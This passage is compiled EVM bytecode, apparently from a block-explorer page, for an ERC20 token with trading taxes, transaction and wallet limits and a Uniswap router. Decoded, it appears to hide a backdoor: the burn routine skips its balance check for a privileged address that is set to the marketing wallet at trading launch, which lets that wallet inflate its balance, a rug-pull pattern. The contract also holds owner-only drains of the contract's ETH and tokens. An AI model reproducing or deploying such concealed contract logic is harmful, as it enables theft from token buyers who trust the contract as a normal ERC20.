5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613b8282613305565b9150613b8d83613305565b925082613b9d57613b9c613b4b565b5b828204905092915050565b7f45524332303a2043616e6e6f7420736574206d617854786e206c6f77657220745f8201527f68616e2032250000000000000000000000000000000000000000000000000000602082015250565b5f613c02602683613207565b9150613c0d82613ba8565b604082019050919050565b5f6020820190508181035f830152613c2f81613bf6565b9050919050565b7f45524332303a2043616e6e6f7420736574206d617857616c6c6574206c6f77655f8201527f72207468616e2032250000000000000000000000000000000000000000000000602082015250565b5f613c90602983613207565b9150613c9b82613c36565b604082019050919050565b5f6020820190508181035f830152613cbd81613c84565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f613d1e602583613207565b9150613d2982613cc4565b604082019050919050565b5f6020820190508181035f830152613d4b81613d12565b9050919050565b7f45524332303a205377617020616d6f756e742063616e6e6f74206265206c6f775f8201527f6572207468616e20302e3030312520746f74616c20737570706c792e00000000602082015250565b5f613dac603c83613207565b9150613db782613d52565b604082019050919050565b5f6020820190508181035f830152613dd981613da0565b9050919050565b7f45524332303a205377617020616d6f756e742063616e6e6f74206265206869675f8201527f686572207468616e20302e352520746f74616c20737570706c792e0000000000602082015250565b5f613e3a603b83613207565b9150613e4582613de0565b604082019050919050565b5f6020820190508181035f830152613e6781613e2e565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613ec8602683613207565b9150613ed382613e6e565b604082019050919050565b5f6020820190508181035f830152613ef581613ebc565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613f56602483613207565b9150613f6182613efc565b604082019050919050565b5f6020820190508181035f830152613f8381613f4a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613fe4602283613207565b9150613fef82613f8a565b604082019050919050565b5f6020820190508181035f83015261401181613fd8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f614072602583613207565b915061407d82614018565b604082019050919050565b5f6020820190508181035f83015261409f81614066565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f614100602383613207565b915061410b826140a6565b604082019050919050565b5f6020820190508181035f83015261412d816140f4565b9050919050565b7f45524332303a2054726164696e67206973206e6f74206163746976652e0000005f82015250565b5f614168601d83613207565b915061417382614134565b602082019050919050565b5f6020820190508181035f8301526141958161415c565b9050919050565b7f45524332303a20427579207472616e7366657220616d6f756e742065786365655f8201527f647320746865206d61785472616e73616374696f6e416d6f756e742e00000000602082015250565b5f6141f6603c83613207565b91506142018261419c565b604082019050919050565b5f6020820190508181035f830152614223816141ea565b9050919050565b7f45524332303a204d61782077616c6c65742065786365656465640000000000005f82015250565b5f61425e601a83613207565b91506142698261422a565b602082019050919050565b5f6020820190508181035f83015261428b81614252565b9050919050565b7f45524332303a2053656c6c207472616e7366657220616d6f756e7420657863655f8201527f65647320746865206d61785472616e73616374696f6e416d6f756e742e000000602082015250565b5f6142ec603d83613207565b91506142f782614292565b604082019050919050565b5f6020820190508181035f830152614319816142e0565b9050919050565b5f61432a82613305565b915061433583613305565b925082820390508181111561434d5761434c613716565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f6143ad602183613207565b91506143b882614353565b604082019050919050565b5f6020820190508181035f8301526143da816143a1565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f61443b602283613207565b9150614446826143e1565b604082019050919050565b5f6020820190508181035f8301526144688161442f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6144c9602683613207565b91506144d48261446f565b604082019050919050565b5f6020820190508181035f8301526144f6816144bd565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050614565816132db565b92915050565b5f602082840312156145805761457f6132a7565b5b5f61458d84828501614557565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6145c8816132ca565b82525050565b5f6145d983836145bf565b60208301905092915050565b5f602082019050919050565b5f6145fb82614596565b61460581856145a0565b9350614610836145b0565b805f5b8381101561464057815161462788826145ce565b9750614632836145e5565b925050600181019050614613565b5085935050505092915050565b5f60a0820190506146605f83018861341d565b61466d6020830187613a4c565b818103604083015261467f81866145f1565b905061468e6060830185613495565b61469b608083018461341d565b969550505050505056fea26469706673582212209cd6a4aef040e6faf200adbbc055d8cd728a7acc97e967ede8c75ee0b6b3a11764736f6c63430008150033
Deployed Bytecode
0x608060405260043610610233575f3560e01c8063751039fc1161012d578063c0246668116100aa578063dd62ed3e1161006e578063dd62ed3e1461080c578063e2f4560514610848578063eba4c33314610872578063f2fde38b1461089a578063f8b45b05146108c25761023a565b8063c02466681461072a578063c8c8ebe414610752578063cce987d41461077c578063d257b34f146107a6578063d85ba063146107e25761023a565b806395d89b41116100f157806395d89b41146106365780639618839914610660578063a457c2d714610688578063a9059cbb146106c4578063bbc0c742146107005761023a565b8063751039fc1461059a5780637571336a146105b057806375f0a874146105d85780638a8c523c146106025780638da5cb5b1461060c5761023a565b806342966c68116101bb5780636db794371161017f5780636db79437146104ce5780636ddd1713146104f657806370a0823114610520578063715018a61461055c57806371fc4688146105725761023a565b806342966c68146103ee57806349bd5a5e146104165780634fbee1931461044057806360a6f45a1461047c5780636a486a8e146104a45761023a565b806319e1fca41161020257806319e1fca4146102f857806323b872dd1461032257806327c8f8351461035e578063313ce5671461038857806339509351146103b25761023a565b806306fdde031461023e578063095ea7b3146102685780631694505e146102a457806318160ddd146102ce5761023a565b3661023a57005b5f80fd5b348015610249575f80fd5b506102526108ec565b60405161025f9190613287565b60405180910390f35b348015610273575f80fd5b5061028e60048036038101906102899190613338565b61097c565b60405161029b9190613390565b60405180910390f35b3480156102af575f80fd5b506102b8610999565b6040516102c59190613404565b60405180910390f35b3480156102d9575f80fd5b506102e26109bd565b6040516102ef919061342c565b60405180910390f35b348015610303575f80fd5b5061030c6109c6565b604051610319919061342c565b60405180910390f35b34801561032d575f80fd5b5061034860048036038101906103439190613445565b6109cc565b6040516103559190613390565b60405180910390f35b348015610369575f80fd5b50610372610abe565b60405161037f91906134a4565b60405180910390f35b348015610393575f80fd5b5061039c610ac4565b6040516103a991906134d8565b60405180910390f35b3480156103bd575f80fd5b506103d860048036038101906103d39190613338565b610acc565b6040516103e59190613390565b60405180910390f35b3480156103f9575f80fd5b50610414600480360381019061040f91906134f1565b610b73565b005b348015610421575f80fd5b5061042a610b80565b60405161043791906134a4565b60405180910390f35b34801561044b575f80fd5b506104666004803603810190610461919061351c565b610ba5565b6040516104739190613390565b60405180910390f35b348015610487575f80fd5b506104a2600480360381019061049d919061351c565b610bf7565b005b3480156104af575f80fd5b506104b8610ecb565b6040516104c5919061342c565b60405180910390f35b3480156104d9575f80fd5b506104f460048036038101906104ef9190613547565b610ed1565b005b348015610501575f80fd5b5061050a610feb565b6040516105179190613390565b60405180910390f35b34801561052b575f80fd5b506105466004803603810190610541919061351c565b610ffe565b604051610553919061342c565b60405180910390f35b348015610567575f80fd5b50610570611043565b005b34801561057d575f80fd5b50610598600480360381019061059391906134f1565b6110ca565b005b3480156105a5575f80fd5b506105ae611196565b005b3480156105bb575f80fd5b506105d660048036038101906105d191906135af565b611230565b005b3480156105e3575f80fd5b506105ec611304565b6040516105f991906134a4565b60405180910390f35b61060a611329565b005b348015610617575f80fd5b50610620611636565b60405161062d91906134a4565b60405180910390f35b348015610641575f80fd5b5061064a61165e565b6040516106579190613287565b60405180910390f35b34801561066b575f80fd5b5061068660048036038101906106819190613547565b6116ee565b005b348015610693575f80fd5b506106ae60048036038101906106a99190613338565b611840565b6040516106bb9190613390565b60405180910390f35b3480156106cf575f80fd5b506106ea60048036038101906106e59190613338565b611926565b6040516106f79190613390565b60405180910390f35b34801561070b575f80fd5b50610714611943565b6040516107219190613390565b60405180910390f35b348015610735575f80fd5b50610750600480360381019061074b91906135af565b611956565b005b34801561075d575f80fd5b50610766611a78565b604051610773919061342c565b60405180910390f35b348015610787575f80fd5b50610790611a7e565b60405161079d919061342c565b60405180910390f35b3480156107b1575f80fd5b506107cc60048036038101906107c791906134f1565b611a84565b6040516107d99190613390565b60405180910390f35b3480156107ed575f80fd5b506107f6611bd8565b604051610803919061342c565b60405180910390f35b348015610817575f80fd5b50610832600480360381019061082d91906135ed565b611bde565b60405161083f919061342c565b60405180910390f35b348015610853575f80fd5b5061085c611c60565b604051610869919061342c565b60405180910390f35b34801561087d575f80fd5b50610898600480360381019061089391906134f1565b611c66565b005b3480156108a5575f80fd5b506108c060048036038101906108bb919061351c565b611d32565b005b3480156108cd575f80fd5b506108d6611e28565b6040516108e3919061342c565b60405180910390f35b6060600380546108fb90613658565b80601f016020809104026020016040519081016040528092919081815260200182805461092790613658565b80156109725780601f1061094957610100808354040283529160200191610972565b820191905f5260205f20905b81548152906001019060200180831161095557829003601f168201915b5050505050905090565b5f61098f610988611e2e565b8484611e35565b6001905092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600254905090565b60055481565b5f6109d8848484611ff8565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610a1f611e2e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a95906136f8565b60405180910390fd5b610ab285610aaa611e2e565b858403611e35565b60019150509392505050565b61dead81565b5f6012905090565b5f610b69610ad8611e2e565b848460015f610ae5611e2e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610b649190613743565b611e35565b6001905092915050565b610b7d3382612995565b50565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610bff611e2e565b73ffffffffffffffffffffffffffffffffffffffff16610c1d611636565b73ffffffffffffffffffffffffffffffffffffffff1614610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6a906137c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d16575f3373ffffffffffffffffffffffffffffffffffffffff1647604051610ccb9061380b565b5f6040518083038185875af1925050503d805f8114610d05576040519150601f19603f3d011682016040523d82523d5f602084013e610d0a565b606091505b50508091505050610ec8565b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d5091906134a4565b602060405180830381865afa158015610d6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d8f9190613833565b11610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc6906138a8565b60405180910390fd5b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e0991906134a4565b602060405180830381865afa158015610e24573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e489190613833565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610e859291906138c6565b6020604051808303815f875af1158015610ea1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ec59190613901565b50505b50565b600e5481565b610ed9611e2e565b73ffffffffffffffffffffffffffffffffffffffff16610ef7611636565b73ffffffffffffffffffffffffffffffffffffffff1614610f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f44906137c0565b60405180910390fd5b81600d8190555080600e81905550601e600d541115610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f989061399c565b60405180910390fd5b601e600e541115610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde9061399c565b60405180910390fd5b5050565b600c60159054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61104b611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611069611636565b73ffffffffffffffffffffffffffffffffffffffff16146110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b6906137c0565b60405180910390fd5b6110c85f612b70565b565b6110d2611e2e565b73ffffffffffffffffffffffffffffffffffffffff166110f0611636565b73ffffffffffffffffffffffffffffffffffffffff1614611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113d906137c0565b60405180910390fd5b80600d81905550601e600d541115611193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118a9061399c565b60405180910390fd5b50565b61119e611e2e565b73ffffffffffffffffffffffffffffffffffffffff166111bc611636565b73ffffffffffffffffffffffffffffffffffffffff1614611212576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611209906137c0565b60405180910390fd5b61121a6109bd565b600b819055506112286109bd565b600881905550565b611238611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611256611636565b73ffffffffffffffffffffffffffffffffffffffff16146112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a3906137c0565b60405180910390fd5b8060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611331611e2e565b73ffffffffffffffffffffffffffffffffffffffff1661134f611636565b73ffffffffffffffffffffffffffffffffffffffff16146113a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139c906137c0565b60405180910390fd5b600c60149054906101000a900460ff16156113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec90613a04565b60405180910390fd5b5f6113ff30610ffe565b9050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600581905550611471307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d61146c6109bd565b611e35565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7194730845f806114ba611636565b426040518863ffffffff1660e01b81526004016114dc96959493929190613a5b565b60606040518083038185885af11580156114f8573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061151d9190613aba565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016115bc9291906138c6565b6020604051808303815f875af11580156115d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115fc9190613901565b506001600c60146101000a81548160ff0219169083151502179055506001600c60156101000a81548160ff02191690831515021790555050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461166d90613658565b80601f016020809104026020016040519081016040528092919081815260200182805461169990613658565b80156116e45780601f106116bb576101008083540402835291602001916116e4565b820191905f5260205f20905b8154815290600101906020018083116116c757829003601f168201915b5050505050905090565b6116f6611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611714611636565b73ffffffffffffffffffffffffffffffffffffffff161461176a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611761906137c0565b60405180910390fd5b606460026117766109bd565b6117809190613b0a565b61178a9190613b78565b8210156117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c390613c18565b60405180910390fd5b606460026117d86109bd565b6117e29190613b0a565b6117ec9190613b78565b81101561182e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182590613ca6565b60405180910390fd5b80600b81905550816008819055505050565b5f8060015f61184d611e2e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90613d34565b60405180910390fd5b61191b611912611e2e565b85858403611e35565b600191505092915050565b5f611939611932611e2e565b8484611ff8565b6001905092915050565b600c60149054906101000a900460ff1681565b61195e611e2e565b73ffffffffffffffffffffffffffffffffffffffff1661197c611636565b73ffffffffffffffffffffffffffffffffffffffff16146119d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c9906137c0565b60405180910390fd5b80600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611a6c9190613390565b60405180910390a25050565b60085481565b600a5481565b5f611a8d611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611aab611636565b73ffffffffffffffffffffffffffffffffffffffff1614611b01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af8906137c0565b60405180910390fd5b620186a06001611b0f6109bd565b611b199190613b0a565b611b239190613b78565b821015611b65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5c90613dc2565b60405180910390fd5b6103e86005611b726109bd565b611b7c9190613b0a565b611b869190613b78565b821115611bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbf90613e50565b60405180910390fd5b8160098190555060019050919050565b600d5481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b611c6e611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611c8c611636565b73ffffffffffffffffffffffffffffffffffffffff1614611ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd9906137c0565b60405180910390fd5b80600e81905550601e600e541115611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d269061399c565b60405180910390fd5b50565b611d3a611e2e565b73ffffffffffffffffffffffffffffffffffffffff16611d58611636565b73ffffffffffffffffffffffffffffffffffffffff1614611dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da5906137c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611e1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1390613ede565b60405180910390fd5b611e2581612b70565b50565b600b5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9a90613f6c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0890613ffa565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611feb919061342c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205d90614088565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cb90614116565b60405180910390fd5b5f81036120eb576120e683835f612c33565b612990565b6120f3611636565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121615750612131611636565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219957505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121d3575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121ec5750600760149054906101000a900460ff16155b156125ba57600c60149054906101000a900460ff166122e057600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806122a05750600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6122df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d69061417e565b60405180910390fd5b5b60115f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561237d575060105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612424576008548111156123c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123be9061420c565b60405180910390fd5b600b546123d383610ffe565b826123de9190613743565b111561241f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241690614274565b60405180910390fd5b6125b9565b60115f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156124c1575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156125105760085481111561250b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250290614302565b60405180910390fd5b6125b8565b60105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166125b757600b5461256a83610ffe565b826125759190613743565b11156125b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ad90614274565b60405180910390fd5b5b5b5b5b5f6125c430610ffe565b90505f60095482101590508080156125e85750600c60159054906101000a900460ff165b80156126015750600760149054906101000a900460ff16155b8015612654575060115f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156126a75750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156126fa5750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561278b57600360125f4381526020019081526020015f2054101561278a576001600760146101000a81548160ff02191690831515021790555061273c612ea8565b5f600760146101000a81548160ff021916908315150217905550600160125f4381526020019081526020015f20546127749190613743565b60125f4381526020019081526020015f20819055505b5b5f600760149054906101000a900460ff16159050600f5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061283a5750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612843575f90505b5f81156129805760115f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156128a157505f600e54115b156128d5576128ce60646128c0600e5488612f7590919063ffffffff16565b612f8a90919063ffffffff16565b905061295d565b60115f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561292c57505f600d54115b1561295c57612959606461294b600d5488612f7590919063ffffffff16565b612f8a90919063ffffffff16565b90505b5b5f81111561297157612970873083612c33565b5b808561297d9190614320565b94505b61298b878787612c33565b505050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fa906143c3565b60405180910390fd5b612a0e825f83612f9f565b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101580612a615750612a60612fa4565b5b612aa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9790614451565b60405180910390fd5b8181035f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160025f828254612af49190614320565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b58919061342c565b60405180910390a3612b6b835f84612fc5565b505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9890614088565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d0690614116565b60405180910390fd5b612d1a838383612f9f565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d94906144df565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612e2b9190613743565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612e8f919061342c565b60405180910390a3612ea2848484612fc5565b50505050565b5f612eb230610ffe565b90505f808203612ec3575050612f73565b600a54821115612ed357600a5491505b5f829050612ee081612fca565b5f479050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051612f299061380b565b5f6040518083038185875af1925050503d805f8114612f63576040519150601f19603f3d011682016040523d82523d5f602084013e612f68565b606091505b505080935050505050505b565b5f8183612f829190613b0a565b905092915050565b5f8183612f979190613b78565b905092915050565b505050565b5f3373ffffffffffffffffffffffffffffffffffffffff1660055414905090565b505050565b5f600267ffffffffffffffff811115612fe657612fe56144fd565b5b6040519080825280602002602001820160405280156130145781602001602082028036833780820191505090505b50905030815f8151811061302b5761302a61452a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156130ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906130f2919061456b565b816001815181106131065761310561452a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061316b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611e35565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016131cc95949392919061464d565b5f604051808303815f87803b1580156131e3575f80fd5b505af11580156131f5573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015613234578082015181840152602081019050613219565b5f8484015250505050565b5f601f19601f8301169050919050565b5f613259826131fd565b6132638185613207565b9350613273818560208601613217565b61327c8161323f565b840191505092915050565b5f6020820190508181035f83015261329f818461324f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6132d4826132ab565b9050919050565b6132e4816132ca565b81146132ee575f80fd5b50565b5f813590506132ff816132db565b92915050565b5f819050919050565b61331781613305565b8114613321575f80fd5b50565b5f813590506133328161330e565b92915050565b5f806040838503121561334e5761334d6132a7565b5b5f61335b858286016132f1565b925050602061336c85828601613324565b9150509250929050565b5f8115159050919050565b61338a81613376565b82525050565b5f6020820190506133a35f830184613381565b92915050565b5f819050919050565b5f6133cc6133c76133c2846132ab565b6133a9565b61